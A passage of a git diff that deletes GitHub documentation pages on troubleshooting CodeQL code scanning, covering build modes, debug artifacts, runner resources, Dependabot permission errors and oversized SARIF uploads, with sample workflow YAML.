Kotlin](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#building-java-and-kotlin). - -If the automatic build detection fails, you will need to use advanced setup with the correct build commands for the project to analyze both languages. - -### {% data variables.product.prodname_code_scanning_caps %} advanced setup - -If you already use advanced setup, you can edit the {% data variables.product.prodname_codeql %} workflow and change the build mode for `java-kotlin` from `none` to either `autobuild` to automatically build your project, or `manual` to specify your own build steps. [Building Java and Kotlin](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#building-java-and-kotlin). - -If you need to convert from default setup to advanced setup, you need enable advanced setup on the on the "Settings" page for your repository and create a {% data variables.product.prodname_codeql %} workflow. Then you can define a `manual` build mode for `java-kotlin` and define the build commands for the project. - -### Running the {% data variables.product.prodname_codeql_cli %} directly - -Update your calls to run the {% data variables.product.prodname_codeql_cli %} for the repository and pull requests to replace `--build-mode none` by `--build-mode autobuild` to try the automatic build detection. If automatic build detection is unsuccessful, remove the `--build-mode` option and include one or more `--command` options detailing the build script or steps required to build the project. - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning) -* [Building Java and Kotlin](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#building-java-and-kotlin){% ifversion codeql-no-build %} -* [CodeQL build modes](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#codeql-build-modes){% elsif ghes %} -* [Adding build steps for a compiled language](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language){% endif %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough.md b/content/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough.md deleted file mode 100644 index ed004eccd3e8..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/logs-not-detailed-enough.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Logs are not detailed enough -shortTitle: Logs not detailed enough -intro: 'If you''d like to increase the level of detail in your logs, try these steps.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/logs-are-not-detailed-enough ---- - -If your logs are not detailed enough, there are several steps you can take to make them more useful. - -## Enable step debug logging - -You can enable step debug logging in {% data variables.product.prodname_actions %} to increase the verbosity of a job's logs during and after a job's execution. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging#enabling-step-debug-logging). - -## Creating {% data variables.product.prodname_codeql %} debugging artifacts - -You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %}. -The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), extracted source code files, and any SARIF file(s) produced by the workflow. For more information about downloading {% data variables.product.prodname_codeql %} artifacts, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts). - -These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. If you contact GitHub support, they might ask for this data. - -### Creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs with debug logging enabled - -You can create {% data variables.product.prodname_codeql %} debugging artifacts by enabling debug logging and re-running the jobs. For more information about re-running {% data variables.product.prodname_actions %} workflows and jobs, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs). - -You need to ensure that you select **Enable debug logging**. This option enables runner diagnostic logging and step debug logging for the run. You'll then be able to download `debug-artifacts` to investigate further. You do not need to modify the workflow file when creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs. - -### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag - -You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`. - -```yaml -- name: Initialize CodeQL - uses: {% data reusables.actions.action-codeql-action-init %} - with: - debug: true -``` diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/no-source-code-seen-during-build.md b/content/code-security/code-scanning/troubleshooting-code-scanning/no-source-code-seen-during-build.md deleted file mode 100644 index bf32b6a082bc..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/no-source-code-seen-during-build.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 'Error: "No source code was seen during the build"' -shortTitle: 'No source code seen during build' -intro: 'When {% data variables.product.prodname_codeql %} fails to find any source code, you need to resolve this problem to unblock {% data variables.product.prodname_code_scanning %} analysis.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -<!-- CodeQL CLI depends on a short URL generated from this article's URL. If this article's URL ever changes, make sure to update the short URL https://gh.io/troubleshooting-code-scanning/no-source-code-seen-during-build. https://thehub.github.com/it/how-to/url-shortening --> - -If your workflow fails with `Error: "No source code was seen during the build"` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. There are six possible reasons for this: - -1. _No supported languages:_ The repository may not contain source code that is written in languages supported by {% data variables.product.prodname_codeql %}. Check the list of supported languages and, if this is the case, remove the {% data variables.product.prodname_codeql %} workflow. For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql). - -1. _No analyzable code of the detected languages:_ Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript. - - ```yaml - strategy: - fail-fast: false - matrix: - # Override automatic language detection by changing the list below. - # Supported options are listed in a comment in the default workflow. - language: ['go', 'javascript-typescript'] - ``` - - For more information, see the workflow extract in [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/some-languages-were-not-analyzed). - -1. _Compilation of a compiled language failed:_ Your {% data variables.product.prodname_code_scanning %} workflow tries to compile a compiled language (C, C++, C#, Go, or Java), but the code was not compiled. {% ifversion codeql-no-build %}When a workflow specifies `build-mode: autobuild` for a language or contains an `autobuild` step,{% elsif ghes %}By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step and{% endif %} {% data variables.product.prodname_codeql %} makes a best effort to detect a suitable build method and build your code. The `autobuild` process may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually. For more information about defining build steps, see {% ifversion codeql-no-build %}[AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#using-build-mode-manual-and-specifying-build-steps){% elsif ghes %}[AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language){% endif %}. - -1. _Cached components not detected:_ Your workflow builds a compiled language (C, C++, C#, Go, or Java) to create a {% data variables.product.prodname_codeql %} database for analysis, but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. - -1. _Compilation outside `init` and `analyze` steps:_ Your workflow builds a compiled language (C, C++, C#, Go, or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. - -1. _Compilation not detected by {% data variables.product.prodname_codeql %}:_ Your compiled code (in C, C++, C#, Go, or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are: - - * Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/running-codeql-code-scanning-in-a-container). - * Building using a distributed build system external to GitHub Actions, using a daemon process. - * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using. - - If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}. - -For more information about specifying build steps, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language). diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/not-recognized.md b/content/code-security/code-scanning/troubleshooting-code-scanning/not-recognized.md deleted file mode 100644 index 6506bd4cdba7..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/not-recognized.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 'Error: "is not a .ql file, .qls file, a directory, or a query pack specification"' -shortTitle: Not recognized -intro: '{% data variables.product.prodname_codeql %} was unable to locate one of the queries or sets of queries that are specified for analysis.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About this error - -```text -Is not a .ql file, .qls file, a directory, or a query pack specification. -``` - -You will see this error if {% data variables.product.prodname_codeql %} is unable to find the named query, query suite, or query pack at the location requested in the workflow. - -## Confirming the cause of the error - -There are two common reasons for this error: - -* There is a typo in the workflow. -* A resource the workflow refers to by path was renamed, deleted, or moved to a new location. - -## Fixing the problem - -After verifying the location of the resource, you can update the workflow to specify the correct location. diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/out-of-disk-or-memory.md b/content/code-security/code-scanning/troubleshooting-code-scanning/out-of-disk-or-memory.md deleted file mode 100644 index 25047ffa4632..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/out-of-disk-or-memory.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Error: "Out of disk" or Error: "Out of memory"' -shortTitle: 'Out of disk or memory' -intro: 'If you see one of these errors with {% data variables.product.prodname_actions %}, {% ifversion ghes %}try reviewing the specifications of your self-hosted runners.{% else %}you can try alternative runners.{% endif %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -<!-- CodeQL CLI depends on a short URL generated from this article's URL. If this article's URL ever changes, make sure to update the short URL https://gh.io/troubleshooting-code-scanning/out-of-disk-or-memory. https://thehub.github.com/it/how-to/url-shortening --> - -## About these errors - -```text -Out of disk -``` - -```text -Out of memory -``` - -You may see these errors when running {% data variables.product.prodname_code_scanning %}. - -## Confirming the cause of the problem - -You can review the recommended hardware resources for running {% data variables.product.prodname_codeql %} to make sure the runners that you use for {% data variables.product.prodname_code_scanning %} meet those requirements. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql). - -## Fixing the problem - -{% ifversion ghes %} - -You may need to increase the memory or disk space available on the runners used for {% data variables.product.prodname_code_scanning %} analysis. - -{% else %} - -If the runners you're using don't meet the recommended hardware requirements, consider using either {% data variables.actions.hosted_runners %} or self-hosted runners. - -{% data variables.actions.hosted_runner_caps %}s are {% data variables.product.company_short %}-hosted runners with more RAM, CPU, and disk space than standard runners. These runners have the runner application and other tools preinstalled. For more information about {% data variables.actions.hosted_runners %} and {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners) and [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup). - -Self-hosted runners offer more control of hardware, operating system, and software tools than {% data variables.product.company_short %}-hosted runners can provide. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). -{% endif %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/resource-not-accessible.md b/content/code-security/code-scanning/troubleshooting-code-scanning/resource-not-accessible.md deleted file mode 100644 index f01dfcb46087..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/resource-not-accessible.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: 'Error: 403 "Resource not accessible by integration"' -shortTitle: Resource not accessible -intro: 'This error may be seen on pull requests created by {% data variables.product.prodname_dependabot %} and can be resolved in a couple of different ways.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/resource-not-accessible-by-integration ---- - ->[!NOTE] ->This troubleshooting article is _only_ relevant if you're seeing this error with {% data variables.product.prodname_dependabot %}. If you see this error with other {% data variables.product.company_short %} products and have difficulty troubleshooting it, you can contact {% data variables.contact.github_support %}. For more information, see [AUTOTITLE](/support/contacting-github-support). - -## About this error - -```text -403: Resource not accessible by integration -``` - -{% data variables.product.prodname_dependabot %} is considered untrusted when it triggers a workflow run, if the workflow will run with read-only scopes. - -## Confirming the cause of the error - -If you're using {% data variables.product.prodname_dependabot %} in your {% data variables.product.prodname_code_scanning %} workflow, investigate the scope it's using. - -Uploading {% data variables.product.prodname_code_scanning %} results for a branch usually requires the `security-events: write` scope. However, {% data variables.product.prodname_code_scanning %} always allows the uploading of results when the `pull_request` event triggers the action run. This is why, for {% data variables.product.prodname_dependabot %} branches, we recommend you use the `pull_request` event instead of the `push` event. - -## Fixing the problem - -You can run on pushes to the default branch and any other important long-running branches, as well as pull requests opened against this set of branches: - -```yaml -on: - push: - branches: - - main - pull_request: - branches: - - main -``` - -Alternatively, you can run on all pushes except for {% data variables.product.prodname_dependabot %} branches: - -```yaml -on: - push: - branches-ignore: - - 'dependabot/**' - pull_request: -``` - -For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#editing-a-code-scanning-workflow). - -### Analysis still failing on the default branch - -If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check: - -* Whether {% data variables.product.prodname_dependabot %} authored the commit -* Whether the pull request that includes the commit has been merged using `@dependabot squash and merge` - -This type of merge commit is authored by {% data variables.product.prodname_dependabot %} and therefore, any workflows running on the commit will have read-only permissions. If you enabled {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} security updates or version updates on your repository, we recommend you avoid using the {% data variables.product.prodname_dependabot %} `@dependabot squash and merge` command. Instead, you can enable auto-merge for your repository. This means that pull requests will be automatically merged when all required reviews are met and status checks have passed. For more information about enabling auto-merge, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request#enabling-auto-merge). diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/results-different-than-expected.md b/content/code-security/code-scanning/troubleshooting-code-scanning/results-different-than-expected.md deleted file mode 100644 index 821000f46b75..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/results-different-than-expected.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Results are different than expected -shortTitle: Results different than expected -intro: 'If your {% data variables.product.prodname_code_scanning %} results are different than you expected, you can check which configurations are active.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/results-are-different-than-expected ---- - -If your {% data variables.product.prodname_code_scanning %} results are different than you expected, you may have both default and advanced setup configured for your repository. When you enable default setup, this disables the existing {% data variables.product.prodname_codeql %} workflow file and blocks any {% data variables.product.prodname_codeql %} API analysis from uploading results. - -To check if default setup is enabled, navigate to the main page of the repository, then click **{% octicon "gear" aria-hidden="true" %} Settings**. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-hidden="true" %} {% data variables.product.UI_advanced_security %}**. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the page, next to "{% data variables.product.prodname_codeql %} analysis", click {% octicon "kebab-horizontal" aria-label="Menu" %}. If there is a **{% octicon "workflow" aria-hidden="true" %} Switch to advanced** option, you are currently using default setup. - -If you want to return to using advanced setup and get {% data variables.product.prodname_code_scanning %} results from your custom workflow file, click **{% octicon "stop" aria-hidden="true" %} Disable {% data variables.product.prodname_codeql %}** to disable default setup. Then you should re-enable your pre-existing workflows to start triggering and uploading results from advanced setup. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -{% data reusables.code-scanning.troubleshooting-multiple-configurations %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/server-error.md b/content/code-security/code-scanning/troubleshooting-code-scanning/server-error.md deleted file mode 100644 index 06f6870360b9..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/server-error.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 'Error: "Server error"' -shortTitle: 'Server error' -intro: 'If you see this error, it may be transient. Check the current {% data variables.product.prodname_actions %} service status, and try running your workflow again.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' ---- - -## About this error - -```text -Server error -``` - -If the run of a workflow for {% data variables.product.prodname_code_scanning %} fails due to a server error, this may be due to a transient communication issue. - -## Confirming the cause of the error - -You can check the current "Actions" service status on the [Status Dashboard](https://www.githubstatus.com/). - -## Fixing the problem - -Try running the workflow again. If the problem persists, contact {% data variables.contact.contact_support %}. diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/some-languages-not-analyzed.md b/content/code-security/code-scanning/troubleshooting-code-scanning/some-languages-not-analyzed.md deleted file mode 100644 index 4a3fa689b9d8..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/some-languages-not-analyzed.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Some languages were not analyzed with CodeQL advanced setup -shortTitle: Some languages not analyzed -allowTitleToDifferFromFilename: true -intro: 'If some languages were not analyzed, you can modify your {% data variables.product.prodname_code_scanning %} workflow to add a matrix specifying the languages you want to analyze.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/some-languages-were-not-analyzed ---- - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -If you're using advanced setup and your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages {% data variables.code-scanning.compiled_languages %}, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a matrix specifying the languages you want to analyze. The default {% data variables.product.prodname_codeql %} analysis workflow uses such a matrix. - - The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step: - - ```yaml - jobs: - analyze: - permissions: - security-events: write - actions: read - # ... - strategy: - fail-fast: false - matrix: - language: ['csharp', 'c-cpp', 'javascript-typescript'] - - steps: - # ... - - name: Initialize {% data variables.product.prodname_codeql %} - uses: {% data reusables.actions.action-codeql-action-init %} - with: - languages: {% raw %}${{ matrix.language }}{% endraw %} - ``` - - For more information about editing the workflow, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/two-codeql-workflows.md b/content/code-security/code-scanning/troubleshooting-code-scanning/two-codeql-workflows.md deleted file mode 100644 index 7fd41f4e0b02..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/two-codeql-workflows.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: 'Two CodeQL workflows' -allowTitleToDifferFromFilename: true -intro: 'If you see two workflows named "{% data variables.product.prodname_codeql %}", one workflow may be a pre-existing {% data variables.product.prodname_codeql %} workflow file which has been disabled by default setup.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -Default setup overrides existing {% data variables.product.prodname_codeql %} setups by disabling any existing {% data variables.product.prodname_codeql %} workflows, and blocking any {% data variables.product.prodname_codeql %} analysis API uploads. This behavior stops you using {% data variables.product.prodname_actions %} minutes to run workflows for {% data variables.product.prodname_codeql %} advanced setup when only the results from default setup will be used. For more information about switching between advanced and default setups, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/results-are-different-than-expected). - -Optionally, if you are certain you no longer need the pre-existing workflow file, you can delete the file from your repository. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/deleting-files-in-a-repository). - -{% data reusables.code-scanning.troubleshooting-multiple-configurations %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/unclear-what-triggered-a-workflow.md b/content/code-security/code-scanning/troubleshooting-code-scanning/unclear-what-triggered-a-workflow.md deleted file mode 100644 index 71ec314ac42c..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/unclear-what-triggered-a-workflow.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Unclear what triggered a workflow run -shortTitle: Unclear what triggered a workflow -intro: 'If you don''t know what triggered an analysis, investigate the {% data variables.code-scanning.tool_status_page %} or look at the log for the last scan.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/unclear-what-triggered-a-workflow-run ---- - -The {% data variables.code-scanning.tool_status_page %} shows you how well {% data variables.product.prodname_code_scanning %} tools are working for a repository, when files in the repository were first scanned and most recently scanned, and when scans are scheduled. For integrated tools like {% data variables.product.prodname_codeql %}, you can also see more detailed information, including a percentage of files scanned and specific error messages. For more information about the {% data variables.code-scanning.tool_status_page %}, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page). - -You can also view the logging output from {% data variables.product.prodname_code_scanning %} runs using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party). For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs#viewing-the-logging-output-from-code-scanning). diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/unnecessary-step-found.md b/content/code-security/code-scanning/troubleshooting-code-scanning/unnecessary-step-found.md deleted file mode 100644 index 015173768f81..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/unnecessary-step-found.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 'Warning: "1 issue was detected with this workflow: git checkout HEAD^2 is no longer necessary"' -shortTitle: 'Unnecessary step found' -intro: 'If you see this warning, you should update your workflow to follow current best practice.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About this warning - -```text -Warning: 1 issue was detected with this workflow: git checkout HEAD^2 is no longer -necessary. Please remove this step as Code Scanning recommends analyzing the merge -commit for best results. -``` - -If you're using an old {% data variables.product.prodname_codeql %} workflow you may receive this warning from the "Initialize {% data variables.product.prodname_codeql %}" action. - -## Confirm the cause of the problem - -Check for the following lines from the {% data variables.product.prodname_codeql %} workflow. These lines were included in the `steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow. - -```yaml - with: - # We must fetch at least the immediate parents so that if this is - # a pull request then we can checkout the head. - fetch-depth: 2 - - # If this run was triggered by a pull request event, then checkout - # the head of the pull request instead of the merge commit. - - run: git checkout HEAD^2 - if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %} -``` - -## Fixing the problem - -Remove the lines from the {% data variables.product.prodname_codeql %} workflow. The revised `steps` section of the workflow should now look like this: - -```yaml - steps: - - name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - - # Initializes the {% data variables.product.prodname_codeql %} tools for scanning. - - name: Initialize {% data variables.product.prodname_codeql %} - uses: {% data reusables.actions.action-codeql-action-init %} - - # ... -``` - -For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#editing-a-code-scanning-workflow). diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/default-setup-enabled.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/default-setup-enabled.md deleted file mode 100644 index d4d5be78f6b9..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/default-setup-enabled.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 'Upload was rejected because CodeQL default setup is enabled for {% data variables.product.prodname_code_scanning %}' -shortTitle: Default setup is enabled -allowTitleToDifferFromFilename: true -intro: 'You cannot upload SARIF results generated by the {% data variables.product.prodname_codeql %} action or {% data variables.product.prodname_codeql %} CLI when default setup for {% data variables.product.prodname_code_scanning %} is enabled. Check your configuration and decide whether to keep default setup or unblock SARIF upload.' -type: reference -topics: - - Code scanning - - Errors - - SARIF - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif/default-setup-enabled ---- - -## About this error - -```text -Upload with CodeQL results rejected due to "default setup" -``` - -This error is reported if a process attempts to upload a SARIF file containing results of {% data variables.product.prodname_codeql %} analysis to a repository where {% data variables.product.prodname_codeql %} default setup is enabled. This includes uploads using the REST API and the {% data variables.product.prodname_codeql_cli %}. SARIF uploads are blocked when {% data variables.product.prodname_codeql %} default setup is enabled to reduce the potential for users to be confused by seeing similar {% data variables.product.prodname_code_scanning %} alerts generated by different systems. - -You will only see this error for SARIF files that contain results created using {% data variables.product.prodname_codeql %}. - -## Confirming the cause of the error - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the page, next to "{% data variables.product.prodname_codeql %} analysis," click {% octicon "kebab-horizontal" aria-label="Menu" %}. -1. If there is a **{% octicon "workflow" aria-hidden="true" %} Switch to advanced** option, default setup is enabled for the repository. - -## Fixing the problem - -Before you can fix the problem, you need to decide whether {% data variables.product.prodname_code_scanning %} alerts from {% data variables.product.prodname_codeql %} analysis in this repository should be generated using default setup or uploaded from SARIF files. - -### Continuing to generate alerts using default setup - -1. Leave the repository settings as they are, with default setup enabled. -1. Disable the process or processes that tried to upload SARIF files to the repository. - -### Disabling default setup to unblock SARIF upload - -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the page, next to "{% data variables.product.prodname_codeql %} analysis," from the {% octicon "kebab-horizontal" aria-label="Menu" %} menu select **{% octicon "stop" aria-hidden="true" %} Disable {% data variables.product.prodname_codeql %}**. -{% data reusables.code-scanning.sarif-upload-retry %} diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large.md deleted file mode 100644 index a1854f8ebaf9..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 'SARIF results file is too large' -shortTitle: Results file too large -allowTitleToDifferFromFilename: true -intro: 'You cannot upload a SARIF results file larger than 10 MB to {% data variables.product.prodname_code_scanning %}. Explore ways to generate a smaller file containing the highest impact results.' -type: reference -topics: - - Code scanning - - Errors - - SARIF - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif/file-too-large ---- - -## About this error - -```text -SARIF file is too large -SARIF results file is too large -SARIF upload is rejected (bigger than allowed size for zip archive) -SARIF ZIP upload is too large -A fatal error occurred: SARIF file is too large -413: Payload Too Large -``` - -One of these errors is reported if a process attempts to upload a SARIF file that is larger than the maximum size of 10 MB. {% data variables.product.prodname_code_scanning_caps %} does not accept files above this size. There are several different ways to reduce the number of results generated for upload to {% data variables.product.prodname_code_scanning %}. - -You could see this error for SARIF files generated by {% data variables.product.prodname_codeql %} or by third-party analysis tools. For information about the limits on uploads, see {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#validating-your-sarif-file). - -## Confirming the cause of the error - -There are many potential causes of very large SARIF results files. - -### SARIF file compression - -Take a look at the results file that was rejected by {% data variables.product.prodname_code_scanning %} to see if: - -* The SARIF file was compressed using gzip -* The compressed file is smaller than 10 MB - -If the file wasn't compressed using gzip, try compressing the file before rerunning the upload process. If the compressed file is still too large, you need to configure the analysis to generate a smaller set of results. - -### Amount of code analyzed - -If you have too many results, you should configure analysis to analyze only the most important code. - - * For interpreted languages, check if the repository contains many tests, demos, or vendored dependencies where fixing alerts is a lower priority. Try excluding this code from analysis. For more information, see [Excluding code from analysis for interpreted languages](#excluding-code-from-analysis-for-interpreted-languages). - * For compiled languages, check if the build process generates more than one variant of the code (for example, targets for multiple operating environments or architectures). Try analyzing just one variant of the code initially. For more information, see [Optimizing the build command](#optimizing-the-build-command). - -### Number of queries run - -If you still have too many results, check how many queries you are using to analyze the code. Try running fewer queries. You can reintroduce additional queries when the initial alerts are fixed. For example, for {% data variables.product.prodname_codeql %} analysis you could run just the default suite of queries. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#using-queries-in-ql-packs). - -### Number of results found by queries - -Sometimes a single query reports many results because the codebase has a specific coding style, or because the analysis does not understand a particular library. You can review the results file in a SARIF viewer to see the distribution of results. For example, https://microsoft.github.io/sarif-web-component/. - - * Check if the results are dominated by alerts identified by a single query. Try excluding that query from analysis. You can reintroduce it when other alerts are fixed. For more information about {% data variables.product.prodname_codeql %} query configuration, see [Excluding a query from analysis](#excluding-a-query-from-analysis). - * Check if there are dataflow queries with many deep paths. Try omitting dataflow paths from the output. For more information about {% data variables.product.prodname_codeql %} analysis configuration, see [Omitting 